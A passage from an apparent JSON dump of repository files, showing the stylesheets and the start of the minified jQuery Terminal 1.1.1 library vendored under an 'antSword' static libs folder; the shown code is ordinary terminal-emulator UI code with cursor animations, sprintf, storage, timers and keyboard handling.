top: 2px;\n          line-height: 11px;\n          border-left: none;\n          margin: 0;\n      }\n      50% {\n          border-bottom-color: var(--color, #aaa);\n          position: relative;\n          top: 2px;\n          line-height: 11px;\n          border-left: none;\n          margin: 0;\n      }\n    }\n    @keyframes terminal-underline {\n      0%, 100% {\n          border-bottom-color: var(--background, #000);\n          position: relative;\n          top: 2px;\n          line-height: 11px;\n          border-left: none;\n          margin: 0;\n      }\n      50% {\n          border-bottom-color: var(--color, #aaa);\n          position: relative;\n          top: 2px;\n          line-height: 11px;\n          border-left: none;\n          margin: 0;\n      }\n    }\n}"
  },
  {
    "path": "antSword/static/libs/terminal/css/jquery.terminal.css",
    "content": "/*\n * This css file is part of jquery terminal\n *\n * Licensed under GNU LGPL Version 3 license\n * Copyright (c) 2011-2013 Jakub Jankiewicz <http://jcubic.pl>\n *\n */\n.terminal .terminal-output .format, .cmd .format,\n.cmd .prompt, .cmd .prompt div, .terminal .terminal-output div div{\n    display: inline-block;\n}\n.cmd .clipboard {\n    position: absolute;\n    bottom: 0;\n    left: 0;\n    opacity: 0.01;\n    filter: alpha(opacity = 0.01);\n    filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0.01);\n    width: 2px;\n}\n.cmd > .clipboard {\n    position: fixed;\n}\n.terminal {\n    padding: 10px;\n    position: relative;\n    overflow: hidden;\n}\n.cmd {\n    padding: 0;\n    margin: 0;\n    height: 1.3em;\n    /*margin-top: 3px; */\n}\n.cmd .cursor.blink {\n    -webkit-animation: blink 1s infinite steps(1, start);\n       -moz-animation: blink 1s infinite steps(1, start);\n        -ms-animation: blink 1s infinite steps(1, start);\n            animation: blink 1s infinite steps(1, start);\n}\n@keyframes blink {\n  0%, 100% {\n        background-color: #000;\n        color: #aaa;\n  }\n  50% {\n        background-color: #bbb; /* not #aaa because it's seem there is Google Chrome bug */\n        color: #000;\n  }\n}\n@-webkit-keyframes blink {\n  0%, 100% {\n        background-color: #000;\n        color: #aaa;\n  }\n  50% {\n        background-color: #bbb;\n        color: #000;\n  }\n}\n@-ms-keyframes blink {\n  0%, 100% {\n        background-color: #000;\n        color: #aaa;\n  }\n  50% {\n        background-color: #bbb;\n        color: #000;\n  }\n}\n@-moz-keyframes blink {\n  0%, 100% {\n        background-color: #000;\n        color: #aaa;\n  }\n  50% {\n        background-color: #bbb;\n        color: #000;\n  }\n}\n.terminal .terminal-output div div, .cmd .prompt {\n    display: block;\n    line-height: 14px;\n    height: auto;\n}\n.cmd .prompt {\n    float: left;\n}\n.terminal, .cmd {\n    font-family: FreeMono, monospace;\n    color: #aaa;\n    background-color: #000;\n    font-size: 12px;\n    line-height: 14px;\n}\n.terminal-output > div {\n    /*padding-top: 3px;*/\n    min-height: 14px;\n}\n.terminal .terminal-output div span {\n    display: inline-block;\n}\n.cmd span {\n    float: left;\n    /*display: inline-block; */\n}\n.terminal .inverted, .cmd .inverted, .cmd .cursor.blink {\n    background-color: #aaa;\n    color: #000;\n}\n.terminal .terminal-output div div::-moz-selection,\n.terminal .terminal-output div span::-moz-selection,\n.terminal .terminal-output div div a::-moz-selection {\n    background-color: #aaa;\n    color: #000;\n}\n.terminal .terminal-output div div::selection,\n.terminal .terminal-output div div a::selection,\n.terminal .terminal-output div span::selection,\n.cmd > span::selection,\n.cmd .prompt span::selection {\n    background-color: #aaa;\n    color: #000;\n}\n.terminal .terminal-output div.error, .terminal .terminal-output div.error div {\n    color: red;\n}\n.tilda {\n    position: fixed;\n    top: 0;\n    left: 0;\n    width: 100%;\n    z-index: 1100;\n}\n.clear {\n    clear: both;\n}\n.terminal a {\n    color: #0F60FF;\n}\n.terminal a:hover {\n    color: red;\n}\n"
  },
  {
    "path": "antSword/static/libs/terminal/js/jquery.terminal-min-1.1.1.js",
    "content": "/**@license\n *       __ _____                     ________                              __\n *      / // _  /__ __ _____ ___ __ _/__  ___/__ ___ ______ __ __  __ ___  / /\n *  __ / // // // // // _  // _// // / / // _  // _//     // //  \\/ // _ \\/ /\n * /  / // // // // // ___// / / // / / // ___// / / / / // // /\\  // // / /__\n * \\___//____ \\\\___//____//_/ _\\_  / /_//____//_/ /_/ /_//_//_/ /_/ \\__\\_\\___/\n *           \\/              /____/                              version 1.1.1\n *\n * This file is part of jQuery Terminal. http://terminal.jcubic.pl\n *\n * Copyright (c) 2010-2017 Jakub Jankiewicz <http://jcubic.pl/me>\n * Released under the MIT license\n *\n * Contains:\n *\n * Storage plugin Distributed under the MIT License\n * Copyright (c) 2010 Dave Schindler\n *\n * jQuery Timers licenced with the WTFPL\n * <http://jquery.offput.ca/timers/>\n *\n * Cross-Browser Split 1.1.1\n * Copyright 2007-2012 Steven Levithan <stevenlevithan.com>\n * Available under the MIT License\n *\n * jQuery Caret\n * Copyright (c) 2009, Gideon Sireling\n * 3 clause BSD License\n *\n * sprintf.js\n * Copyright (c) 2007-2013 Alexandru Marasteanu <hello at alexei dot ro>\n * licensed under 3 clause BSD license\n *\n * Date: Sun, 09 Apr 2017 08:41:51 +0000\n */\n(function(e){var n=function(){if(!n.cache.hasOwnProperty(arguments[0])){n.cache[arguments[0]]=n.parse(arguments[0])}return n.format.call(null,n.cache[arguments[0]],arguments)};n.format=function(e,t){var o=1,a=e.length,s=\"\",l,f=[],c,u,p,m,h,d;for(c=0;c<a;c++){s=r(e[c]);if(s===\"string\"){f.push(e[c])}else if(s===\"array\"){p=e[c];if(p[2]){l=t[o];for(u=0;u<p[2].length;u++){if(!l.hasOwnProperty(p[2][u])){throw n('[sprintf] property \"%s\" does not exist',p[2][u])}l=l[p[2][u]]}}else if(p[1]){l=t[p[1]]}else{l=t[o++]}if(/[^s]/.test(p[8])&&r(l)!==\"number\"){throw n(\"[sprintf] expecting number but found %s\",r(l))}switch(p[8]){case\"b\":l=l.toString(2);break;case\"c\":l=String.fromCharCode(l);break;case\"d\":l=parseInt(l,10);break;case\"e\":l=p[7]?l.toExponential(p[7]):l.toExponential();break;case\"f\":l=p[7]?parseFloat(l).toFixed(p[7]):parseFloat(l);break;case\"o\":l=l.toString(8);break;case\"s\":l=(l=String(l))&&p[7]?l.substring(0,p[7]):l;break;case\"u\":l=l>>>0;break;case\"x\":l=l.toString(16);break;case\"X\":l=l.toString(16).toUpperCase();break}l=/[def]/.test(p[8])&&p[3]&&l>=0?\" +\"+l:l;h=p[4]?p[4]===\"0\"?\"0\":p[4].charAt(1):\" \";d=p[6]-String(l).length;m=p[6]?i(h,d):\"\";f.push(p[5]?l+m:m+l)}}return f.join(\"\")};n.cache={};n.parse=function(e){var n=e,t=[],r=[],i=0;while(n){if((t=/^[^\\x25]+/.exec(n))!==null){r.push(t[0])}else if((t=/^\\x25{2}/.exec(n))!==null){r.push(\"%\")}else if((t=/^\\x25(?:([1-9]\\d*)\\$|\\(([^\\)]+)\\))?(\\+)?(0|'[^$])?(-)?(\\d+)?(?:\\.(\\d+))?([b-fosuxX])/.exec(n))!==null){if(t[2]){i|=1;var o=[],a=t[2],s=[];if((s=/^([a-z_][a-z_\\d]*)/i.exec(a))!==null){o.push(s[1]);while((a=a.substring(s[0].length))!==\"\"){if((s=/^\\.([a-z_][a-z_\\d]*)/i.exec(a))!==null){o.push(s[1])}else if((s=/^\\[(\\d+)\\]/.exec(a))!==null){o.push(s[1])}else{throw\"[sprintf] huh?\"}}}else{throw\"[sprintf] huh?\"}t[2]=o}else{i|=2}if(i===3){throw\"[sprintf] mixing positional and named placeholders is not (yet) supported\"}r.push(t)}else{throw\"[sprintf] huh?\"}n=n.substring(t[0].length)}return r};var t=function(e,t,r){r=t.slice(0);r.splice(0,0,e);return n.apply(null,r)};function r(e){return Object.prototype.toString.call(e).slice(8,-1).toLowerCase()}function i(e,n){for(var t=[];n>0;t[--n]=e){}return t.join(\"\")}e.sprintf=n;e.vsprintf=t})(typeof global!==\"undefined\"?global:window);(function(e,n){\"use strict\";e.omap=function(n,t){var r={};e.each(n,function(e,i){r[e]=t.call(n,e,i)});return r};var t={clone_object:function(n){var t={};if(typeof n===\"object\"){if(e.isArray(n)){return this.clone_array(n)}else if(n===null){return n}else{for(var r in n){if(e.isArray(n[r])){t[r]=this.clone_array(n[r])}else if(typeof n[r]===\"object\"){t[r]=this.clone_object(n[r])}else{t[r]=n[r]}}}}return t},clone_array:function(n){if(!e.isFunction(Array.prototype.map)){throw new Error(\"Your browser don't support ES5 array map \"+\"use es5-shim\")}return n.slice(0).map(function(e){if(typeof e===\"object\"){return this.clone_object(e)}else{return e}}.bind(this))}};var r=function(e){return t.clone_object(e)};var i=function(){var e=\"test\",n=window.localStorage;try{n.setItem(e,\"1\");n.removeItem(e);return true}catch(t){return false}};var o=i();function a(e,n){var t;if(typeof e===\"string\"&&typeof n===\"string\"){localStorage[e]=n;return true}else if(typeof e===\"object\"&&typeof n===\"undefined\"){for(t in e){if(e.hasOwnProperty(t)){localStorage[t]=e[t]}}return true}return false}function s(e,n){var t,r,i;t=new Date;t.setTime(t.getTime()+31536e6);r=\"; expires=\"+t.toGMTString();if(typeof e===\"string\"&&typeof n===\"string\"){document.cookie=e+\"=\"+n+r+\"; path=/\";return true}else if(typeof e===\"object\"&&typeof n===\"undefined\"){for(i in e){if(e.hasOwnProperty(i)){document.cookie=i+\"=\"+e[i]+r+\"; path=/\"}}return true}return false}function l(e){return localStorage[e]}function f(e){var n,t,r,i;n=e+\"=\";t=document.cookie.split(\";\");for(r=0;r<t.length;r++){i=t[r];while(i.charAt(0)===\" \"){i=i.substring(1,i.length)}if(i.indexOf(n)===0){return i.substring(n.length,i.length)}}return null}function c(e){return delete localStorage[e]}function u(e){return s(e,\"\",-1)}e.extend({Storage:{set:o?a:s,get:o?l:f,remove:o?c:u}});var p=e;p.fn.extend({everyTime:function(e,n,t,r,i){return this.each(function(){p.timer.add(this,e,n,t,r,i)})},oneTime:function(e,n,t){return this.each(function(){p.timer.add(this,e,n,t,1)})},stopTime:function(e,n){return this.each(function(){p.timer.remove(this,e,n)})}});p.extend({timer:{guid:1,global:{},regex:/^([0-9]+)\\s*(.*s)?$/,powers:{ms:1,cs:10,ds:100,s:1e3,das:1e4,hs:1e5,ks:1e6},timeParse:function(e){if(e===n||e===null){return null}var t=this.regex.exec(p.trim(e.toString()));if(t[2]){var r=parseInt(t[1],10);var i=this.powers[t[2]]||1;return r*i}else{return e}},add:function(e,n,t,r,i,o){var a=0;if(p.isFunction(t)){if(!i){i=r}r=t;t=n}n=p.timer.timeParse(n);if(typeof n!==\"number\"||isNaN(n)||n<=0){return}if(i&&i.constructor!==Number){o=!!i;i=0}i=i||0;o=o||false;if(!e.$timers){e.$timers={}}if(!e.$timers[t]){e.$timers[t]={}}r.$timerID=r.$timerID||this.guid++;var s=function(){if(o&&s.inProgress){return}s.inProgress=true;if(++a>i&&i!==0||r.call(e,a)===false){p.timer.remove(e,t,r)}s.inProgress=false};s.$timerID=r.$timerID;if(!e.$timers[t][r.$timerID]){e.$timers[t][r.$timerID]=window.setInterval(s,n)}if(!this.global[t]){this.global[t]=[]}this.global[t].push(e)},remove:function(e,n,t){var r=e.$timers,i;if(r){if(!n){for(var o in r){if(r.hasOwnProperty(o)){this.remove(e,o,t)}}}else if(r[n]){if(t){if(t.$timerID){window.clearInterval(r[n][t.$timerID]);delete r[n][t.$timerID]}}else{for(var a in r[n]){if(r[n].hasOwnProperty(a)){window.clearInterval(r[n][a]);delete r[n][a]}}}for(i in r[n]){if(r[n].hasOwnProperty(i)){break}}if(!i){i=null;delete r[n]}}for(i in r){if(r.hasOwnProperty(i)){break}}if(!i){e.$timers=null}}}}});if(/(msie) ([\\w.]+)/.exec(navigator.userAgent.toLowerCase())){p(window).one(\"unload\",function(){var e=p.timer.global;for(var n in e){if(e.hasOwnProperty(n)){var t=e[n],r=t.length;while(--r){p.timer.remove(t[r],n)}}}})}(function(e){if(!String.prototype.split.toString().match(/\\[native/)){return}var n=String.prototype.split,t=/()??/.exec(\"\")[1]===e,r;r=function(r,i,o){if(Object.prototype.toString.call(i)!==\"[object RegExp]\"){return n.call(r,i,o)}var a=[],s=(i.ignoreCase?\"i\":\"\")+(i.multiline?\"m\":\"\")+(i.extended?\"x\":\"\")+(i.sticky?\"y\":\"\"),l=0,f,c,u,p;i=new RegExp(i.source,s+\"g\");r+=\"\";if(!t){f=new RegExp(\"^\"+i.source+\"$(?!\\\\s)\",s)}o=o===e?-1>>>0:o>>>0;while(c=i.exec(r)){u=c.index+c[0].length;if(u>l){a.push(r.slice(l,c.index));if(!t&&c.length>1){c[0].replace(f,function(){for(var n=1;n<arguments.length-2;n++){if(arguments[n]===e){c[n]=e}}})}if(c.length>1&&c.index<r.length){Array.prototype.push.apply(a,c.slice(1))}p=c[0].length;l=u;if(a.length>=o){break}}if(i.lastIndex===c.index){i.lastIndex++}}if(l===r.length){if(p||!i.test(\"\")){a.push(\"\")}}else{a.push(r.slice(l))}return a.length>o?a.slice(0,o):a};String.prototype.split=function(e,n){return r(this,e,n)};return r})();e.fn.caret=function(e){var n=this[0];var t=n.contentEditable===\"true\";if(arguments.length===0){if(window.getSelection){if(t){n.focus();var r=window.getSelection().getRangeAt(0),i=r.cloneRange();i.selectNodeContents(n);i.setEnd(r.endContainer,r.endOffset);return i.toString().length}return n.selectionStart}if(document.selection){n.focus();if(t){var r=document.selection.createRange(),i=document.body.createTextRange();i.moveToElementText(n);i.setEndPoint(\"EndToEnd\",r);return i.text.length}var e=0,o=n.createTextRange(),i=document.selection.createRange().duplicate(),a=i.getBookmark();o.moveToBookmark(a);while(o.moveStart(\"character\",-1)!==0)e++;return e}return 0}if(e===-1)e=this[t?\"text\":\"val\"]().length;if(window.getSelection){if(t){n.focus();window.getSelection().collapse(n.firstChild,e)}else n.setSelectionRange(e,e)}else if(document.body.createTextRange){var o=document.body.createTextRange();o.moveToElementText(n);o.moveStart(\"character\",e);o.collapse(true);o.select()}if(!t)n.focus();return e};function m(e,n){var t=[];var r=e.length;if(r<n){return[e]}else if(n<0){throw new Error(\"str_parts: length can't be negative\")}for(var i=0;i<r;i+=n){t.push(e.substring(i,i+n))}return t}function h(n){var t=n?[n]:[];var r=0;e.extend(this,{get:function(){return t},rotate:function(){if(!t.filter(Boolean).length){return}if(t.length===1){return t[0]}else{if(r===t.length-1){r=0}else{++r}if(t[r]){return t[r]}else{return this.rotate()}}},length:function(){return t.length},remove:function(e){delete t[e]},set:function(e){for(var n=t.length;n--;){if(t[n]===e){r=n;return}}this.append(e)},front:function(){if(t.length){var e=r;var n=false;while(!t[e]){e++;if(e>t.length){if(n){break}e=0;n=true}}return t[e]}},append:function(e){t.push(e)}})}function d(n){var t=n instanceof Array?n:n?[n]:[];e.extend(this,{data:function(){return t},map:function(n){return e.map(t,n)},size:function(){return t.length},pop:function(){if(t.length===0){return null}else{var e=t[t.length-1];t=t.slice(0,t.length-1);return e}},push:function(e){t=t.concat([e]);return e},top:function(){return t.length>0?t[t.length-1]:null},clone:function(){return new d(t.slice(0))}})}function g(n,t,r){var i=true;var o=\"\";if(typeof n===\"string\"&&n!==\"\"){o=n+\"_\"}o+=\"commands\";var a;if(r){a=[]}else{a=e.Storage.get(o);a=a?e.parseJSON(a):[]}var s=a.length-1;e.extend(this,{append:function(n){if(i){if(a[a.length-1]!==n){a.push(n);if(t&&a.length>t){a=a.slice(-t)}s=a.length-1;if(!r){e.Storage.set(o,JSON.stringify(a))}}}},set:function(n){if(n instanceof Array){a=n;if(!r){e.Storage.set(o,JSON.stringify(a))}}},data:function(){return a},reset:function(){s=a.length-1},last:function(){return a[a.length-1]},end:function(){return s===a.length-1},position:function(){return s},current:function(){return a[s]},next:function(){if(s<a.length-1){++s}if(s!==-1){return a[s]}},previous:function(){var e=s;if(s>0){--s}if(e!==-1){return a[s]}},clear:function(){a=[];this.purge()},enabled:function(){return i},enable:function(){i=true},purge:function(){if(!r){e.Storage.remove(o)}},disable:function(){i=false}})}var v=0;e.fn.cmd=function(t){var r=e.extend({pauseEvents:true},t);var i=this;var o=i.data(\"cmd\");if(o){return o}var a=v++;i.addClass(\"cmd\");i.append('<span class=\"prompt\"></span><span></span>'+'<span class=\"cursor\">&nbsp;</span><span></span>');var s=e(\"<textarea>\").attr({autocapitalize:\"off\",spellcheck:\"false\"}).addClass(\"clipboard\").appendTo(i);if(r.width){i.width(r.width)}var l;var f;var c=i.find(\".prompt\");var u=false;var p=\"\";var h=null;var d;var w=r.mask||false;var b=\"\";var k;var x=\"\";var T=0;var E;var R;var C=r.historySize||60;var S,A;var F=i.find(\".cursor\");var L;var O=0;function P(){var n=e(\"<span>&nbsp;</span>\").appendTo(i);var t=n[0].getBoundingClientRect();n.remove();return t}function j(e){var n=i.find(\".prompt\").text().length;var t=P();var r=t.width;var o=t.height;var a=i.offset();var s=Math.floor((e.x-a.left)/r);var l=Math.floor((e.y-a.top)/o);var f=te(b);var c;if(l>0&&f.length>1){c=s+f.slice(0,l).reduce(function(e,n){return e+n.length},0)}else{c=s-n}var u=b.replace(/\\t/g,\"\\x00\\x00\\x00\\x00\");var p=u.slice(0,c);var m=p.replace(/\\x00{4}/g,\"   \").replace(/\\x00+/,\"\").length;return m>b.length?b.length:m}function I(e){if(e.key){var n=e.key.toUpperCase();if(n===\"CONTROL\"){return\"CTRL\"}else{var t=[];if(e.ctrlKey){t.push(\"CTRL\")}if(e.metaKey&&n!==\"META\"){t.push(\"META\")}if(e.shiftKey&&n!==\"SHIFT\"){t.push(\"SHIFT\")}if(e.altKey&&n!==\"ALT\"){t.push(\"ALT\")}if(e.key){if(n===\"DEL\"){t.push(\"DELETE\")}else{t.push(n)}}return t.join(\"+\")}}}var N;var $={\"ALT+D\":function(){i.set(b.slice(0,T)+b.slice(T).replace(/ *[^ ]+ *(?= )|[^ ]+$/,\"\"),true);return false},ENTER:function(){if(A&&b&&!w&&(e.isFunction(r.historyFilter)&&r.historyFilter(b))||r.historyFilter instanceof RegExp&&b.match(r.historyFilter)||!r.historyFilter){A.append(b)}var n=b;A.reset();i.set(\"\");if(r.commands){r.commands(n)}if(e.isFunction(E)){oe()}e(\".clipboard\").val(\"\");return true},\"SHIFT+ENTER\":function(){i.insert(\"\\n\");return false},BACKSPACE:function(){if(u){p=p.slice(0,-1);Q()}else if(b!==\"\"&&T>0){i[\"delete\"](-1)}return false},TAB:function(){i.insert(\"    \")},\"CTRL+D\":function(){i[\"delete\"](1);return false},DELETE:function(){i[\"delete\"](1);return true},ARROWUP:B,UP:B,\"CTRL+P\":B,ARROWDOWN:M,DOWN:M,\"CTRL+N\":M,ARROWLEFT:W,LEFT:W,\"CTRL+B\":W,\"CTRL+ARROWLEFT\":function(){var e=T-1;var n=0;if(b[e]===\" \"){--e}for(var t=e;t>0;--t){if(b[t]===\" \"&&b[t+1]!==\" \"){n=t+1;break}else if(b[t]===\"\\n\"&&b[t+1]!==\"\\n\"){n=t;break}}i.position(n)},\"CTRL+R\":function(){if(u){ee(true)}else{d=E;Q();k=b;i.set(\"\");ie();u=true}return false},\"CTRL+G\":function(){if(u){E=d;oe();i.set(k);ie();u=false;p=\"\";return false}},ARROWRIGHT:U,\"CTRL+F\":U,RIGHT:U,\"CTRL+ARROWRIGHT\":function(){if(b[T]===\" \"){++T}var e=/\\S[\\n\\s]{2,}|[\\n\\s]+\\S?/;var n=b.slice(T).match(e);if(!n||n[0].match(/^\\s+$/)){i.position(b.length)}else if(n[0][0]!==\" \"){T+=n.index+1}else{T+=n.index+n[0].length-1;if(n[0][n[0].length-1]!==\" \"){--T}}ie()},F12:H,END:J,\"CTRL+E\":J,HOME:q,\"CTRL+A\":q,\"SHIFT+INSERT\":D,\"CTRL+SHIFT+T\":H,\"CTRL+W\":function(){if(b!==\"\"&&T!==0){var e=b.slice(0,T).match(/([^ ]+ *$)/);x=i[\"delete\"](-e[0].length);K(i,x)}return false},\"CTRL+H\":function(){if(b!==\"\"&&T>0){i[\"delete\"](-1)}return false},\"CTRL+X\":H,\"CTRL+C\":H,\"CTRL+T\":H,\"CTRL+Y\":function(){if(x!==\"\"){i.insert(x)}},\"CTRL+V\":D,\"META+V\":D,\"CTRL+K\":function(){x=i[\"delete\"](b.length-T);K(i,x);return false},\"CTRL+U\":function(){if(b!==\"\"&&T!==0){x=i[\"delete\"](-T);K(i,x)}return false},\"CTRL+TAB\":function(){return false},\"META+`\":H,\"META+R\":H,\"META+L\":H};function H(){return true}function D(){s.val(\"\");O=0;s.focus();s.on(\"input\",function e(n){ae(n);s.off(\"input\",e)});return true}function B(){if(le){k=b;i.set(A.current())}else{i.set(A.previous())}le=false;return false}function M(){i.set(A.end()?k:A.next());return false}function W(){if(T>0){i.position(-1,true);ie()}}function U(){if(T<b.length){i.position(1,true)}return false}function q(){i.position(0)}function J(){i.position(b.length)}function G(){var e=s.is(\":focus\");if(R){if(!e){s.focus();i.oneTime(10,function(){s.focus()})}}else if(e){s.blur()}}function Y(){i.oneTime(10,function(){s.val(b);if(R){i.oneTime(10,function(){try{s.caret(T)}catch(e){}})}})}if(y&&!_){L=function(e){if(e){F.addClass(\"blink\")}else{F.removeClass(\"blink\")}}}else{var X=false;L=function(e){if(e&&!X){X=true;F.addClass(\"inverted blink\");i.everyTime(500,\"blink\",V)}else if(X&&!e){X=false;i.stopTime(\"blink\",V);F.removeClass(\"inverted blink\")}}}function V(){F.toggleClass(\"inverted\")}function Q(){E=\"(reverse-i-search)`\"+p+\"': \";oe()}function Z(){E=d;u=false;h=null;p=\"\"}function ee(n){var t=A.data();var r,o;var a=t.length;if(n&&h>0){a-=h}if(p.length>0){for(var s=p.length;s>0;s--){o=e.terminal.escape_regex(p.substring(0,s));r=new RegExp(o);for(var l=a;l--;){if(r.test(t[l])){h=t.length-l;i.position(t[l].indexOf(o));i.set(t[l],true);ie();if(p.length!==s){p=p.substring(0,s);Q()}return}}}}p=\"\"}function ne(){var e=i.width();var n=F[0].getBoundingClientRect().width;l=Math.floor(e/n)}function te(e){var n;if(e.match(/\\n/)){var t=e.split(\"\\n\");var r=l-f-1;for(var i=0;i<t.length-1;++i){t[i]+=\" \"}if(t[0].length>r){n=[t[0].substring(0,r)];var o=t[0].substring(r);n=n.concat(m(o,l))}else{n=[t[0]]}for(i=1;i<t.length;++i){if(t[i].length>l){n=n.concat(m(t[i],l))}else{n.push(t[i])}}}else{var a=e.substring(0,l-f);var s=e.substring(l-f);n=[a].concat(m(s,l))}return n}function re(n){var t=e.terminal.defaults.formatters;for(var r=0;r<t.length;++r){try{if(typeof t[r]===\"function\"){var i=t[r](n);if(typeof i===\"string\"){n=i}}}catch(o){alert(\"formatting error at formatters[\"+r+\"]\\n\"+(o.stack?o.stack:o))}}return e.terminal.format(e.terminal.encode(n))}var ie=function(){var t=F.prev();var r=F.next();function o(e,n){var i=e.length;if(n===i){t.html(re(e));F.html(\"&nbsp;\");r.html(\"\")}else if(n===0){t.html(\"\");F.html(re(e.slice(0,1)));r.html(re(e.slice(1)))}else{var o=e.slice(0,n);t.html(re(o));var a=e.slice(n,n+1);F.html(re(a));if(n===e.length-1){r.html(\"\")}else{r.html(re(e.slice(n+1)))}}}function a(e){return\"<div>\"+re(e)+\"</div>\"}function s(n){var t=r;e.each(n,function(n,r){t=e(a(r)).insertAfter(t)})}function c(n){e.each(n,function(e,n){t.before(a(n))})}return function(){var u;switch(typeof w){case\"boolean\":u=w?b.replace(/./g,\"*\"):b;break;case\"string\":u=b.replace(/./g,w);break}var p;i.find(\"div\").remove();t.html(\"\");if(u.length>l-f-1||u.match(/\\n/)){var m=u.match(/\\t/g);var h=m?m.length*3:0;if(m){u=u.replace(/\\t/g,\"\\x00\\x00\\x00\\x00\")}var d=te(u);if(m){d=e.map(d,function(e){return e.replace(/\\x00\\x00\\x00\\x00/g,\"    \")})}var g=d[0].length;if(g===0&&d.length===1){}else if(T<g){o(d[0],T);s(d.slice(1))}else if(T===g){t.before(a(d[0]));o(d[1]||\"\",0);if(d.length>1){s(d.slice(2))}}else{var v=d.length;if(T<g){o(d[0],T);s(d.slice(1))}else if(T===g){t.before(a(d[0]));o(d[1],0);s(d.slice(2))}else{var y=d.slice(-1)[0];var _=u.length-T-h;var k=y.length;var x=0;if(_<=k){c(d.slice(0,-1));if(k===_){x=0}else{x=k-_}o(y,x)}else if(v===3){var E=re(d[0]);t.before(\"<div>\"+E+\"</div>\");o(d[1],T-g-1);E=re(d[2]);r.after(\"<div>\"+E+\"</div>\")}else{var R;var C;x=T;for(p=0;p<d.length;++p){var S=d[p].length;if(x>S){x-=S}else{break}}C=d[p];R=p;if(x===C.length){x=0;C=d[++R];if(C===n){var A=e.terminal.defaults.strings.redrawError;throw new Error(A)}}o(C,x);c(d.slice(0,R));s(d.slice(R+1))}}}}else if(u===\"\"){t.html(\"\");F.html(\"&nbsp;\");r.html(\"\")}else{o(u,T)}}}();var oe=function(){function n(n){c.html(e.terminal.format(e.terminal.encode(n)));f=c.text().length}return function(){switch(typeof E){case\"string\":n(E);break;case\"function\":E(n);break}}}();function ae(){if(O++>0){return}if(i.isenabled()){var e=i.find(\"textarea\");if(!e.is(\":focus\")){e.focus()}i.oneTime(100,function(){i.insert(e.val());e.val(\"\");Y()})}}function se(){if(e.isFunction(r.onCommandChange)){r.onCommandChange(b)}}e.extend(i,{name:function(e){if(e!==n){S=e;var t=A&&A.enabled()||!A;A=new g(e,C,r.history===\"memory\");if(!t){A.disable()}return i}else{return S}},purge:function(){A.clear();return i},history:function(){return A},\"delete\":function(e,n){var t;if(e===0){return i}else if(e<0){if(T>0){t=b.slice(0,T).slice(e);b=b.slice(0,T+e)+b.slice(T,b.length);if(!n){i.position(T+e)}se()}}else if(b!==\"\"&&T<b.length){t=b.slice(T).slice(0,e);b=b.slice(0,T)+b.slice(T+e,b.length);se()}ie();Y();return t},set:function(e,t){if(e!==n){b=e;if(!t){i.position(b.length)}ie();Y();se()}return i},keymap:function(n){if(typeof n===\"undefined\"){return N}else{N=e.extend({},$,e.omap(n||{},function(e,n){return function(t){return n(t,$[e])}}));return i}},insert:function(e,n){if(T===b.length){b+=e}else if(T===0){b=e+b}else{b=b.slice(0,T)+e+b.slice(T)}if(!n){i.position(e.length,true)}else{Y()}ie();se();return i},get:function(){return b},commands:function(e){if(e){r.commands=e;return i}else{return e}},destroy:function(){ye.unbind(\"keypress.cmd\",_e);ye.unbind(\"keydown.cmd\",ve);ye.unbind(\"paste.cmd\",ae);ye.unbind(\"input.cmd\",we);i.stopTime(\"blink\",V);i.find(\".cursor\").next().remove().end().prev().remove().end().remove();i.find(\".prompt, .clipboard\").remove();i.removeClass(\"cmd\").removeData(\"cmd\").off(\".cmd\");return i},prompt:function(e){if(e===n){return E}else{if(typeof e===\"string\"||typeof e===\"function\"){E=e}else{throw new Error(\"prompt must be a function or string\")}oe();ie();return i}},kill_text:function(){return x},position:function(n,t){if(typeof n===\"number\"){if(t){T+=n}else if(n<0){T=0}else if(n>b.length){T=b.length}else{T=n}if(e.isFunction(r.onPositionChange)){r.onPositionChange(T)}ie();Y();return i}else{return T}},visible:function(){var e=i.visible;return function(){e.apply(i,[]);ie();oe()}}(),show:function(){var e=i.show;return function(){e.apply(i,[]);ie();oe()}}(),resize:function(e){if(e){l=e}else{ne()}ie();return i},enable:function(){R=true;i.addClass(\"enabled\");try{s.caret(T)}catch(e){}L(true);G();return i},isenabled:function(){return R},disable:function(){R=false;i.removeClass(\"enabled\");L(false);G();return i},mask:function(e){if(typeof e===\"undefined\"){return w}else{w=e;ie();return i}}});i.name(r.name||r.prompt||\"\");if(typeof r.prompt===\"string\"){E=r.prompt}else{E=\"> \"}oe();if(r.enabled===n||r.enabled===true){i.enable()}if(!r.history){A.disable()}var le=true;var fe=false;var ce=false;var ue=false;var pe=false;var me=false;var he=false;var de;var ge;function ve(t){var o;ce=pe&&ue;try{ue=t.key&&t.key.length===1;me=String(t.key).toLowerCase()===\"unidentified\";he=t.key.toUpperCase()===\"BACKSPACE\"||t.which===8}catch(a){}ge=s.val();pe=true;var l=I(t);if(R||!r.pauseEvents){if(e.isFunction(r.keydown)){o=r.keydown(t);if(o!==n){return o}}}if(R){de=[\"CTRL+V\",\"META+V\"].indexOf(l)!==-1;if(t.which!==38&&!(t.which===80&&t.ctrlKey)){le=true}if(u&&(t.which===35||t.which===36||t.which===37||t.which===38||t.which===39||t.which===40||t.which===13||t.which===27)){Z();oe();if(t.which===27){i.set(\"\")}ie();ve.call(this,t)}else if(e.isFunction(N[l])){o=N[l]();if(o===true){return}if(o!==n){return o}}else if(t.altKey){return}else{fe=false;return}t.preventDefault()}else if(!r.pauseEvents&&e.isFunction(N[l])){o=N[l]();if(o===true){return}if(o!==n){return o}}}var ye=e(document.documentElement||window);i.keymap(r.keymap);function _e(t){var o;pe=false;if((t.ctrlKey||t.metaKey)&&[99,118,86].indexOf(t.which)!==-1){return}if(fe){return}if(R||!r.pauseEvents){if(e.isFunction(r.keypress)){o=r.keypress(t);if(o!==n){return o}}}var a;if(z()){a=t.key}if(!a||me){a=String.fromCharCode(t.which)}if(a.toUpperCase()===\"SPACEBAR\"){a=\" \"}if(R){if(e.inArray(t.which,[13,0,8])>-1){if(t.keyCode===123){return}return false}else if(a&&(!t.ctrlKey||t.ctrlKey&&t.ctrlKey)&&(!(t.altKey&&t.which===100)||t.altKey)&&!ce){if(u){p+=a;ee();Q()}else{i.insert(a)}return false}}}function we(){if((pe||ce)&&!de&&(ue||me)&&!he){var e=T;var n=s.val();if(n!==\"\"){if(u){p=n;ee();Q()}else{i.set(n)}if(he||n.length<ge.length){i.position(e-1)}else{i.position(e+Math.abs(n.length-ge.length))}}}}ye.bind(\"keypress.cmd\",_e).bind(\"keydown.cmd\",ve).bind(\"input.cmd\",we);(function(){var n=false;var t=false;var 